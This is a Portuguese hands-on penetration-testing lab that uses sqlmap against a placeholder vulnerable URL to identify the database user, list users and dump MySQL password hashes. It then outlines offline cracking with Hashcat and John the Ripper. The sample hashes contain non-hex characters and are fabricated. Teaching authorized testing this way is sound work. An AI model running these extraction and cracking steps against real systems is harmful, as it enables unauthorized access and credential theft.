Enumerar Usuários de Banco de Dados e Hashes de Senha com sqlmap

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você explorará as capacidades do sqlmap, uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção de SQL e a tomada de controle de servidores de banco de dados. Especificamente, você aprenderá como enumerar usuários de banco de dados e tentar extrair hashes de senha de um banco de dados alvo. Este é um passo crucial em muitos testes de penetração, pois o acesso às credenciais do usuário pode levar a um comprometimento adicional dos sistemas. Você usará uma aplicação web vulnerável simulada para praticar essas técnicas em um ambiente controlado.

Obter um Ponto de Apoio e Confirmar Privilégios Suficientes

Nesta etapa, você começará identificando uma potencial vulnerabilidade de injeção de SQL e confirmando que o sqlmap pode interagir com sucesso com o banco de dados alvo. Esta verificação inicial é vital para garantir que você tenha um "ponto de apoio" e que o usuário atual tenha privilégios suficientes para realizar mais enumerações.

Primeiro, abra seu terminal. O diretório de trabalho padrão é /home/labex/project.

Usaremos uma URL de placeholder para uma aplicação web vulnerável. Em um cenário do mundo real, você teria identificado esta URL através de reconhecimento e varredura de vulnerabilidades. Para este laboratório, vamos assumir que nosso alvo é http://example.com/vulnerable.php?id=1.

Execute o seguinte comando sqlmap para testar a injeção de SQL e coletar informações básicas sobre o banco de dados. O flag -u especifica a URL alvo, e --current-user tenta recuperar o usuário atual do banco de dados.

sqlmap -u "http://example.com/vulnerable.php?id=1" --current-user

Você verá uma saída semelhante a esta, indicando que o sqlmap está testando vários pontos de injeção e confirmando o usuário atual:

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (vários testes e informações) ...

[INFO] the back-end DBMS is MySQL
current user: 'root@localhost'

A saída current user: 'root@localhost' indica que o sqlmap identificou com sucesso o usuário atual do banco de dados. Este é um bom sinal, pois o root geralmente possui privilégios elevados, que serão necessários para extrair usuários e hashes.

Use a Flag --users para Listar Todos os Usuários do Banco de Dados

Nesta etapa, você usará a flag --users no sqlmap para enumerar todos os usuários do banco de dados. Este é um próximo passo comum após confirmar uma vulnerabilidade de injeção de SQL e privilégios suficientes. Conhecer os usuários do banco de dados pode fornecer informações valiosas para ataques futuros ou para entender a estrutura do banco de dados.

Continue no seu terminal.

Execute o seguinte comando sqlmap. A flag --users instrui o sqlmap a listar todos os usuários no banco de dados.

sqlmap -u "http://example.com/vulnerable.php?id=1" --users

O sqlmap realizará seus testes e, em seguida, tentará recuperar a lista de usuários do banco de dados. Você deverá ver uma saída semelhante a esta:

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (vários testes e informações) ...

[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'

[INFO] retrieved 3 database user(s)

Esta saída mostra que o sqlmap enumerou com sucesso três usuários do banco de dados: root@localhost, admin@localhost e webuser@localhost. Esta informação é crucial para a próxima etapa, onde você tentará extrair os hashes de suas senhas.

Use a Flag --passwords para Tentar Extrair Hashes de Senha

Nesta etapa, você escalará seu ataque tentando extrair os hashes de senha associados aos usuários do banco de dados enumerados. Este é frequentemente o objetivo final de um ataque de injeção de SQL, pois esses hashes podem ser posteriormente quebrados offline para obter senhas em texto plano.

Continue no seu terminal.

Execute o seguinte comando sqlmap. A flag --passwords instrui o sqlmap a recuperar os hashes de senha para todos os usuários do banco de dados.

sqlmap -u "http://example.com/vulnerable.php?id=1" --passwords

O sqlmap agora tentará extrair os hashes de senha. O processo pode levar algum tempo, dependendo do tamanho e complexidade do banco de dados. Você deverá ver uma saída semelhante a esta, mostrando os usuários recuperados e seus hashes de senha correspondentes:

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (vários testes e informações) ...

[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4

[INFO] retrieved 3 database user(s) password hash(es)

A saída exibe os nomes de usuário e seus hashes de senha associados. Esses hashes são tipicamente armazenados em um formato específico do sistema de banco de dados (por exemplo, hashes prefixados com * do MySQL, ou vários outros algoritmos de hashing). Esses hashes estão agora prontos para serem quebrados offline.

Execute a Enumeração e Analise os Resultados

Nesta etapa, você combinará os comandos anteriores para realizar uma enumeração completa de usuários e seus hashes de senha em uma única execução do sqlmap. Esta é uma maneira mais eficiente de coletar todas as informações desejadas. Você também analisará a saída para entender a estrutura dos dados recuperados.

Continue no seu terminal.

Execute o seguinte comando sqlmap, combinando as flags --users e --passwords:

sqlmap -u "http://example.com/vulnerable.php?id=1" --users --passwords

O sqlmap executará seu processo, primeiro enumerando usuários e depois tentando recuperar seus hashes de senha. A saída consolidará as informações, semelhante ao que você viu nas etapas anteriores, mas apresentadas juntas.

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (vários testes e informações) ...

[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'

[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4

[INFO] retrieved 3 database user(s) password hash(es)

Analise os resultados:

  • Usuários: Você pode ver claramente a lista de usuários do banco de dados.
  • Hashes: Cada usuário está associado a um hash de senha. O formato desses hashes depende do sistema de banco de dados e sua configuração. Por exemplo, hashes do MySQL frequentemente começam com um asterisco (*).

Este comando combinado é eficiente para coletar ambas as informações de uma só vez.

Discutir os Próximos Passos para Quebra de Senha Offline com os Hashes

Nesta etapa final, você entenderá as implicações de extrair com sucesso os hashes de senha e discutirá os próximos passos lógicos: a quebra de senha offline. Embora o sqlmap ajude a recuperar os hashes, ele não os quebra. Isso é tipicamente feito usando ferramentas especializadas.

Você recuperou com sucesso hashes de senha como:

  • *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4 (para root@localhost)
  • *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3 (para admin@localhost)
  • *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4 (para webuser@localhost)

Esses hashes não são as senhas reais, mas uma representação criptográfica delas. Para obter as senhas em texto plano, você normalmente usaria ferramentas como Hashcat ou John the Ripper.

Processo de Quebra de Senha Offline:

  1. Identificar o Tipo de Hash: O primeiro passo é identificar o tipo de hash. O sqlmap frequentemente fornece dicas (por exemplo, "MySQL password hash"). Ferramentas como o Hashcat possuem modos para vários tipos de hash.
  2. Salvar Hashes: Salve os hashes recuperados em um arquivo, com um hash por linha. Por exemplo, você pode criar um arquivo chamado hashes.txt em seu diretório ~/project:
    *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
    *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
    *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4
    
  3. Escolher uma Ferramenta de Quebra:
    • Hashcat: Um cracker de senha poderoso e rápido, frequentemente usado com GPUs.
    • John the Ripper (JtR): Outro cracker de senha popular e versátil.
  4. Selecionar o Método de Quebra:
    • Ataque de Dicionário: Use uma lista de senhas comuns (uma wordlist) e hashe cada palavra, comparando-a com os hashes alvo.
    • Ataque de Força Bruta (Brute-Force): Tente sistematicamente todas as combinações de caracteres possíveis até que uma correspondência seja encontrada. Isso consome muito tempo para senhas longas ou complexas.
    • Ataque Híbrido: Combine métodos de dicionário e força bruta.
  5. Executar a Quebra: Execute a ferramenta escolhida com o arquivo de hashes e o método de quebra selecionado. Por exemplo, usando Hashcat para hashes do MySQL (modo 300):
    ## Este comando é para fins ilustrativos e não será executado neste laboratório.
    ## hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt --force
    
    (Nota: rockyou.txt é uma wordlist comum, frequentemente encontrada em /usr/share/wordlists/ no Kali Linux ou distribuições semelhantes. Pode ser necessário descompactá-la.)

A quebra bem-sucedida revelará as senhas em texto plano, que podem então ser usadas para obter acesso adicional ao banco de dados ou a outros sistemas onde essas credenciais possam ser reutilizadas. Isso destaca a importância de senhas fortes e únicas e de algoritmos de hashing adequados para segurança.

Resumo

Neste laboratório, você aprendeu com sucesso como usar o sqlmap para enumerar usuários do banco de dados e extrair seus hashes de senha de uma aplicação web vulnerável simulada. Você começou obtendo um ponto de acesso e confirmando privilégios suficientes, depois prosseguiu para listar todos os usuários do banco de dados usando a flag --users e, finalmente, tentou extrair os hashes de senha usando a flag --passwords. Você também aprendeu como combinar essas operações para eficiência e analisou a saída.

Compreender como extrair essas informações sensíveis é uma habilidade crítica em testes de penetração. Os hashes de senha recuperados são a chave para a próxima fase: a quebra de senha offline, que pode revelar credenciais em texto plano e potencialmente levar a um comprometimento mais profundo do sistema. Este laboratório proporcionou uma experiência prática e direta com uma ferramenta poderosa no arsenal de hacking ético.